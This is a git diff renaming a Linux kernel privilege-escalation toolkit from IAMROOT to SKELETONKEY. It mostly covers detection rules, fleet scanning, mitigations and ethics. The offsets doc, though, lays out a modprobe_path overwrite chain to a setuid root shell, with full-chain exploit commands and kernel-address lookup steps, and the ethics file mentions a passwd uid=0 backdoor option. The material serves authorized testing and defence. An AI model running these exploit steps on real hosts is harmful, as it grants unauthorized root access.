skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
```
Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
`iamroot --scan` returns the WORST result code across all modules.
`skeletonkey --scan` returns the WORST result code across all modules.
Use this in CI to fail builds that produce vulnerable images.
### Deploy detection rules
```bash
# auditd (most environments)
sudo iamroot --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load # or systemctl restart auditd
# Sigma (for SIEMs that ingest sigma)
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
# YARA / Falco — placeholders for future modules; currently empty
iamroot --detect-rules --format=yara
iamroot --detect-rules --format=falco
skeletonkey --detect-rules --format=yara
skeletonkey --detect-rules --format=falco
```
Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).
| Key | Modules | What it catches |
|---|---|---|
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `iamroot-pwnkit` | pwnkit | pkexec watch |
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
Search:
```bash
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
```
### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
```bash
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
sudo iamroot --mitigate copy_fail
sudo skeletonkey --mitigate copy_fail
# Revert mitigation (e.g., before applying the real kernel patch)
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
```
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
```bash
# scan a host list via ssh
for h in $(cat fleet.txt); do
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
done | jq -s . > fleet-scan-$(date +%F).json
# group by vulnerability
@@ -148,9 +148,9 @@ modification.
| Rule | False-positive shape |
|---|---|
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
The shipped rules are starting points. Tune per environment.
+53 -53
View File
@@ -1,6 +1,6 @@
# IAMROOT detection playbook
# SKELETONKEY detection playbook
Operational guide for blue teams using IAMROOT defensively. Pairs
Operational guide for blue teams using SKELETONKEY defensively. Pairs
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
make it part of your daily ops" guide.
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
```
┌─────────────┐
│ inventory │ ← iamroot --list (what's bundled?)
│ inventory │ ← skeletonkey --list (what's bundled?)
└──────┬──────┘
┌─────────────┐
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
└──────┬──────┘
┌─────────────┐
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
└──────┬──────┘
┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
└────────────┼────────────┘
┌─────────────┐
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
└─────────────┘
```
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
```bash
# Daily/weekly hygiene check
sudo iamroot --scan
sudo skeletonkey --scan
# If anything's VULNERABLE, deploy detections + apply mitigation
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
sudo augenrules --load
sudo iamroot --mitigate copy_fail # or whichever module fired
sudo skeletonkey --mitigate copy_fail # or whichever module fired
```
### Small fleet (~10-100 hosts, SSH-reachable)
Use `tools/iamroot-fleet-scan.sh`:
Use `tools/skeletonkey-fleet-scan.sh`:
```bash
# Hosts list — one per line; user@host:port supported
@@ -61,8 +61,8 @@ ops@db-01:2222
EOF
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
./iamroot-fleet-scan.sh \
--binary ./iamroot \
./skeletonkey-fleet-scan.sh \
--binary ./skeletonkey \
--ssh-key ~/.ssh/ops_key \
--parallel 8 \
hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +95,7 @@ Output shape:
### Larger fleet (>100 hosts)
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
fleets too large for SSH-fan-out, wrap it in your config-management
tool of choice:
@@ -108,22 +108,22 @@ tool of choice:
Sample Ansible task:
```yaml
- name: scan with iamroot
- name: scan with skeletonkey
copy:
src: iamroot
dest: /tmp/iamroot
src: skeletonkey
dest: /tmp/skeletonkey
mode: '0755'
- name: run --scan --json
command: /tmp/iamroot --scan --json --no-color
command: /tmp/skeletonkey --scan --json --no-color
register: scan
changed_when: false
failed_when: false # iamroot exit codes are semantic, not errors
failed_when: false # skeletonkey exit codes are semantic, not errors
- name: collect
set_fact:
iamroot_scan: "{{ scan.stdout | from_json }}"
skeletonkey_scan: "{{ scan.stdout | from_json }}"
- name: cleanup
file:
path: /tmp/iamroot
path: /tmp/skeletonkey
state: absent
```
@@ -133,46 +133,46 @@ Sample Ansible task:
```
# splunk input config (inputs.conf)
[script:///opt/iamroot/iamroot-cron-scan.sh]
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
interval = 86400
source = iamroot
sourcetype = iamroot:scan
source = skeletonkey
sourcetype = skeletonkey:scan
```
`iamroot-cron-scan.sh`:
`skeletonkey-cron-scan.sh`:
```bash
#!/bin/bash
/usr/local/bin/iamroot --scan --json --no-color
/usr/local/bin/skeletonkey --scan --json --no-color
```
Search the indexed events:
```spl
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
| stats count by host modules{}.cve
```
### Elastic / OpenSearch
Filebeat module reading the per-host scan JSON files (one per day),
indexed into an `iamroot-*` index pattern. Standard Kibana
indexed into an `skeletonkey-*` index pattern. Standard Kibana
visualization on `modules.cve` over time tracks vulnerability lifecycle.
### Sigma → your platform
```bash
# Ship Sigma rules into your platform
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
sigmac -t elastic /etc/sigma/iamroot.yml
sigmac -t elastic /etc/sigma/skeletonkey.yml
```
## Day-to-day operational shape
### What "good" looks like in the SIEM
- Daily `iamroot --scan --json` from every host indexed
- Daily `skeletonkey --scan --json` from every host indexed
- Trend dashboard: count of VULNERABLE results by CVE over time
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
### Auditd events from the embedded rules
After deploying `iamroot --detect-rules --format=auditd`:
After deploying `skeletonkey --detect-rules --format=auditd`:
```bash
# By module key
sudo ausearch -k iamroot-copy-fail -ts today
sudo ausearch -k iamroot-dirty-pipe -ts today
sudo ausearch -k iamroot-pwnkit -ts today
sudo ausearch -k iamroot-nf-tables-userns -ts today
sudo ausearch -k iamroot-overlayfs -ts today
sudo ausearch -k skeletonkey-copy-fail -ts today
sudo ausearch -k skeletonkey-dirty-pipe -ts today
sudo ausearch -k skeletonkey-pwnkit -ts today
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
sudo ausearch -k skeletonkey-overlayfs -ts today
# Anything iamroot-tagged in the last hour
sudo ausearch -k 'iamroot-*' -ts recent
# Anything skeletonkey-tagged in the last hour
sudo ausearch -k 'skeletonkey-*' -ts recent
# Forward to syslog (rsyslog example)
# /etc/rsyslog.d/iamroot.conf:
:msg, contains, "iamroot-" @@your-siem.example.com:514
# /etc/rsyslog.d/skeletonkey.conf:
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
```
### When a VULNERABLE result fires
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
├── Q: Can I patch the underlying kernel / package?
│ ├── YES → schedule patch window. In the meantime:
│ │ iamroot --mitigate X (if supported)
│ │ skeletonkey --mitigate X (if supported)
│ │ Verify auditd rule for X is loaded.
│ │ Monitor for the rule key.
│ └── NO (legacy LTS, embedded device, prod freeze) →
iamroot --mitigate X (essential)
skeletonkey --mitigate X (essential)
│ Compensating control: tighten LSM (SELinux/AppArmor)
│ Document in risk register
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
patch has rolled out fleet-wide):
```bash
sudo iamroot --cleanup copy_fail
sudo skeletonkey --cleanup copy_fail
# OR manually:
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
| Rule key | False positive | Fix |
|---|---|---|
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
## Pre-patch quarantine pattern
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
```bash
# Stage 1: detect
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
# Stage 2: mitigate (where supported)
sudo iamroot --mitigate <module>
sudo skeletonkey --mitigate <module>
# Stage 3: monitor — auditd rules already deployed
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
# Stage 4: contain — temporarily restrict the trigger surface
# e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
## Maintenance contract
When IAMROOT ships a new module:
When SKELETONKEY ships a new module:
1. CI test passes on at least one vulnerable + patched kernel pair
2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
## When you find a new false positive
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
- The exact ausearch line that fired
- The legitimate process that produced it
- Distro / kernel version
+13 -13
View File
@@ -2,24 +2,24 @@
## Acceptable use
IAMROOT is intended for:
SKELETONKEY is intended for:
1. **Authorized red-team / pentest engagements.** You have a written
scope, signed by someone who can authorize testing on the target
systems.
2. **Defensive teams testing detection coverage.** You're using
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
expected.
3. **Security researchers studying historical LPEs.** You're reading
the code, running it in your own VMs, learning how the primitives
actually work end-to-end.
4. **Build engineers verifying patch coverage.** You're running
`iamroot --scan` against your fleet's golden images to confirm
`skeletonkey --scan` against your fleet's golden images to confirm
each known CVE shows up as patched.
## Not-acceptable use
IAMROOT should not be used:
SKELETONKEY should not be used:
1. On systems you do not own and have not been authorized to test
2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
4. To build a worm, scanner, or any tool that automatically targets
systems at scale without per-target authorization
By using IAMROOT you assert that your use falls into the
By using SKELETONKEY you assert that your use falls into the
acceptable-use cases above.
## Why this is publishable
Every CVE bundled in IAMROOT is:
Every CVE bundled in SKELETONKEY is:
- **Already patched** in upstream mainline kernel
- **Already published** in NVD or distro security trackers
- **Already covered** by existing public PoCs
IAMROOT does not introduce new offensive capability. It bundles,
SKELETONKEY does not introduce new offensive capability. It bundles,
documents, and CI-tests what is already public — and ships the
detection signatures defenders need to spot it.
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
## Disclosure
If you find a bug in IAMROOT itself (incorrect detection, broken
If you find a bug in SKELETONKEY itself (incorrect detection, broken
exploit on a kernel where it should work, missing a backport in the
range metadata): file a public GitHub issue.
If you find a **new 0-day kernel LPE while inspired by reading
IAMROOT code**: please disclose it responsibly to the kernel
SKELETONKEY code**: please disclose it responsibly to the kernel
security team (`security@kernel.org`) and the affected distros
*before* writing a public PoC. Once upstream patch ships and a CVE
is assigned, IAMROOT will gladly accept the module.
is assigned, SKELETONKEY will gladly accept the module.
## Persistence and stealth are out of scope
`--exploit-backdoor` in the copy_fail module overwrites a
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules IAMROOT ships
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules SKELETONKEY ships
- `--cleanup-backdoor` restores the original line
If you're looking for evasion, persistence, or stealth: not here.
Use a real C2 framework if you have authorization to do so. IAMROOT
Use a real C2 framework if you have authorization to do so. SKELETONKEY
stops at "demonstrate that the bug works."
+171
View File
@@ -0,0 +1,171 @@
# SKELETONKEY — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default `--exploit` returns
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it.
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
converts the primitive to a real root pop via `modprobe_path` overwrite:
```
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
→ root shell
```
This requires resolving `&modprobe_path` (a single kernel virtual
address) at runtime.
## Resolution chain
`core/offsets.c` tries four sources in order, accepting the first
non-zero value for each field:
1. **Environment variables** — operator override.
- `SKELETONKEY_KBASE=0x...`
- `SKELETONKEY_MODPROBE_PATH=0x...`
- `SKELETONKEY_POWEROFF_CMD=0x...`
- `SKELETONKEY_INIT_TASK=0x...`
- `SKELETONKEY_INIT_CRED=0x...`
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
OR you're already root. On modern distros (kptr_restrict=1 by
default) non-root reads return all zeros and this source is
silently skipped.
3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
(older Debian, some Alma builds). Unaffected by `kptr_restrict`.
4. **Embedded table** — keyed by `uname -r` glob, entries are
offsets *relative to `_text`* (KASLR-safe). Applied on top of a
kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
to honor the no-fabricated-offsets rule. Operators who verify
offsets on a specific kernel build are encouraged to upstream
entries.
## How operators populate offsets
### One-shot (preferred for ad-hoc use)
```bash
# Look up on a kernel you control (as root, once):
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline:
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Automated dump (preferred for upstreaming)
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout:
```bash
sudo skeletonkey --dump-offsets
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c.
# */
# { .release_glob = "5.15.0-56-generic",
# .distro_match = "ubuntu",
# .rel_modprobe_path = 0x148e480,
# .rel_poweroff_cmd = 0x148e3a0,
# .rel_init_task = 0x1c11dc0,
# .rel_init_cred = 0x1e0c460,
# .cred_offset_real = 0x738,
# .cred_offset_eff = 0x740,
# },
```
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
and the new entry covers every SKELETONKEY user on that kernel. Open a
PR to upstream it.
### Per-host (write System.map readable)
```bash
sudo chmod 0644 /boot/System.map-$(uname -r)
skeletonkey --exploit nf_tables --i-know --full-chain
```
### Per-boot (lower kptr_restrict)
```bash
sudo sysctl kernel.kptr_restrict=0
skeletonkey --exploit nf_tables --i-know --full-chain
```
Note: each of these requires root *once*. For a true non-root LPE on
an unfamiliar host you need either an info-leak module (EntryBleed
gives kbase) plus an embedded table entry, or out-of-band offset
acquisition.
## Adding entries to the embedded table
In `core/offsets.c`, `kernel_table[]` carries the schema:
```c
{ .release_glob = "5.15.0-25-generic",
.distro_match = "ubuntu",
.rel_modprobe_path = 0x148e480, // & _text
.rel_poweroff_cmd = 0x148e3a0,
.rel_init_task = 0x1c11dc0,
.rel_init_cred = 0x1e0c460,
.cred_offset_real = 0x758,
.cred_offset_eff = 0x760, },
```
To populate, on the target kernel:
```bash
# Get _text:
_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
# Get the symbols you want, subtract _text:
for sym in modprobe_path poweroff_cmd init_task init_cred; do
addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
done
```
Open a PR with the verified entry and a one-line note on which kernel
build + distro you tested against. Upstreamed entries make the
`--full-chain` path work out-of-the-box for that build.
## Verifying success
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
payload. The finisher polls for this file with `S_ISUID` mode set
for up to 3 seconds. Only when the sentinel materializes does the
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
the setuid bash to drop a root shell.
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer
field at unexpected offset, race not won)
- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
embedded-table entry stale)
- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
invocation
## Why `modprobe_path` and not `current->cred->uid = 0`?
The cred-overwrite finisher needs an arb-READ primitive too — to walk
the task linked list from `init_task` and find the calling process's
`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
not a paired read. `modprobe_path` only needs a write to a single
known global, which is why it's the default finisher.
BIN
View File
Binary file not shown.
+29 -29
View File
@@ -1,19 +1,19 @@
#!/usr/bin/env bash
# IAMROOT one-shot installer.
# SKELETONKEY one-shot installer.
#
# Usage:
# curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
# curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
#
# Or with explicit version:
# IAMROOT_VERSION=v0.1.0 curl ... | sh
# SKELETONKEY_VERSION=v0.1.0 curl ... | sh
#
# Or install to a different prefix:
# IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
# SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
#
# Environment:
# IAMROOT_VERSION release tag (default: latest)
# IAMROOT_PREFIX install dir (default: /usr/local/bin if writable, else error)
# IAMROOT_REPO override repo (default: KaraZajac/IAMROOT)
# SKELETONKEY_VERSION release tag (default: latest)
# SKELETONKEY_PREFIX install dir (default: /usr/local/bin if writable, else error)
# SKELETONKEY_REPO override repo (default: KaraZajac/SKELETONKEY)
#
# Exit codes:
# 0 — installed successfully
@@ -21,9 +21,9 @@
set -euo pipefail
REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
VERSION="${IAMROOT_VERSION:-latest}"
PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
VERSION="${SKELETONKEY_VERSION:-latest}"
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -40,11 +40,11 @@ log "detected arch: $target"
# Resolve version → download URL
if [ "$VERSION" = "latest" ]; then
url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
else
url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
fi
log "downloading from: $url"
@@ -56,18 +56,18 @@ fi
tmp=$(mktemp -d)
trap 'rm -rf "$tmp"' EXIT
if ! curl -fsSLo "$tmp/iamroot" "$url"; then
if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
fi
# Verify checksum if available
if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
# The .sha256 file has the binary's original name; normalize for our local copy
expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
if command -v sha256sum >/dev/null 2>&1; then
actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
elif command -v shasum >/dev/null 2>&1; then
actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
else
actual=""
log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +83,17 @@ else
log "no checksum file at $sha_url — skipping verification"
fi
chmod +x "$tmp/iamroot"
chmod +x "$tmp/skeletonkey"
# Install. Try $PREFIX directly; if not writable, sudo.
target_path="$PREFIX/iamroot"
target_path="$PREFIX/skeletonkey"
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
mv "$tmp/iamroot" "$target_path"
mv "$tmp/skeletonkey" "$target_path"
elif command -v sudo >/dev/null 2>&1; then
log "$PREFIX needs sudo; you may be prompted for password"
sudo mv "$tmp/iamroot" "$target_path"
sudo mv "$tmp/skeletonkey" "$target_path"
else
fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
fi
ok "installed: $target_path"
@@ -104,10 +104,10 @@ cat >&2 <<EOF
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
Quickstart:
sudo iamroot --scan # what's this box vulnerable to?
sudo iamroot --audit # broader system hygiene
sudo iamroot --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-iamroot.rules # deploy detection rules
sudo skeletonkey --scan # what's this box vulnerable to?
sudo skeletonkey --audit # broader system hygiene
sudo skeletonkey --detect-rules --format=auditd \\
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
See \`iamroot --help\` for all commands.
See \`skeletonkey --help\` for all commands.
EOF
+1 -1
View File
@@ -20,7 +20,7 @@ reachable.
## Decision needed before implementing
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
yes, this module ships. If we restrict to "default Linux user
account, no namespace tricks," this module is out of scope.
@@ -0,0 +1,28 @@
# NOTICE — af_packet2 (CVE-2020-14386)
## Vulnerability
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
(`maclen = skb_network_offset(skb)` when network header precedes
maclen) → 8-byte heap OOB write at the start of the next slab object.
## Research credit
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
September 2020.
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## SKELETONKEY role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
/*
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
*/
#ifndef AF_PACKET2_IAMROOT_MODULES_H
#define AF_PACKET2_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_packet2_module;
#endif
@@ -1,19 +1,32 @@
/*
* af_packet2_cve_2020_14386 IAMROOT module
* af_packet2_cve_2020_14386 SKELETONKEY module
*
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow heap
* write-before-allocation. Different bug from CVE-2017-7308 same
* subsystem, different code path (rx side rather than ring setup),
* later introduction. Discovered by Or Cohen (2020).
*
* STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv) and fires the underflow with a
* crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
* skb spray groom alongside. We stop short of the full cred-overwrite
* chain (which Or Cohen's public PoC implements with kernel-version-
* specific offsets and a pid_namespace cross-cache overwrite). We do
* not bake offsets into iamroot. The return value is honest about
* what landed (EXPLOIT_FAIL: primitive fired but no root).
* STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
